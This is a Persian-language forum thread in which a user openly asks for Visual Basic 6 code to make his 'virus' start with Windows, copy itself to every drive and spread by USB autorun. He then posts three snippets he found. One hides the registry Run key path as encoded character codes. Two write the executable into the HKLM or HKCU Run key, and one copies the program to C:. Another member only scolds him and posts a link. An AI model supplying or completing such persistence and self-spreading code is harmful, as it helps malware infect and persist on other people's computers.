کد start up کپی شدن در درایو ها

[download69]

سلام من این در خواست رو هم دربخش ویروس کردم ولی کسی جواب نداد
من یک کد برای وی بی 6 می خوام که ویروسم رو در start up ویندوز قرار بده
و کد دیگر هم در کل درایو ها کپی بشه
اگر کسی داره کوتاهی نکنه خیلی لازممه

---

راستی چطور می شه ویروس را در فلاش(کول دیسک) گذاشت و هر وقت فلش به رایانه ی دیگر متصل شد ویروس اتوران اجرا شود من با فایل inf امتحان کردم ولی نشد

---

راستی چطور می شه ویروس را در فلاش(کول دیسک) گذاشت و هر وقت فلش به رایانه ی دیگر متصل شد ویروس اتوران اجرا شود من با فایل inf امتحان کردم ولی نشد

[Di Di]

دوست عزیز

گرچه در مورد تمام سوالاتی که پرسیدید قبلا داخل همین فروم به طور مفصل بحث شده و نمونه کدها و آموزش های

کاملی در این زمینه توسط دوستان قرار گرفته، اما مطمئن باشید نه در این بخش و نه هیچ بخش دیگه ای به

کسی که حتتی زحمت یه جستجوی ساده رو به خودش نمی ده کمک زیادی نخواهد شد!!!

حالا چه ویروس یا هر برنامه دیگه ای اول خودت شروع به نوشتنش بکن بعد اگه جائی به مشکل بر خوردی بپرس

تا کمکت کنیم.

[download69]

دوست عزیز

گرچه در مورد تمام سوالاتی که پرسیدید قبلا داخل همین فروم به طور مفصل بحث شده و نمونه کدها و آموزش های

کاملی در این زمینه توسط دوستان قرار گرفته، اما مطمئن باشید نه در این بخش و نه هیچ بخش دیگه ای به

کسی که حتتی زحمت یه جستجوی ساده رو به خودش نمی ده کمک زیادی نخواهد شد!!!

حالا چه ویروس یا هر برنامه دیگه ای اول خودت شروع به نوشتنش بکن بعد اگه جائی به مشکل بر خوردی بپرس

تا کمکت کنیم.

کی گفته من جستوجو نکردم من آنقدر گشتم که خسته شدم پیدا هم کردم ولی کد مشکل داشتن و ارور میداد بیسیک 6
اینم کدا هایی که پیدا کردم:
Junk = "08307907008408706508206909207707306708207908307907008409208707307806807908708309?2067085082082069078084086069082083073079078092082085078092"
For a = 1 To Len(Junk) Step 3
ch = Chr(Mid(Junk, a, 3))
Tmp = Tmp & ch
Next
RegSetValue &H80000002, Tmp, 1, App.Path & "\" & App.EXEName & ".exe", 10




FilePath = app.path & "\" & app.exename & ".exe"
Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\"& FilePath
Set reg = Nothing






Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String

subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))

RegCloseKey hregkey
End Sub
بعد تو ماجول هم کدهاي زير ار کپي کن

کد:

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long

Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1برنامه شما ديگه با هر بار ويندوز لود ميشه
واسه کپي کردن برنامه هم

کد:

Set fso = CreateObject("scripting.filesystemobject")
myfile = App.Path & "\" & App.EXEName & ".exe"
FileCopy myfile, "C:\amin.exe"




این 3 کد است که من پیدا کردم ولی با ها شون به جایی نرسیدم
آقای Di Di

[Di Di]

http://forum.iranled.com/showthread.php?...9%88%D8%B3

آقای دوست عزیز.....

[download69]

ممنون آقا مهدی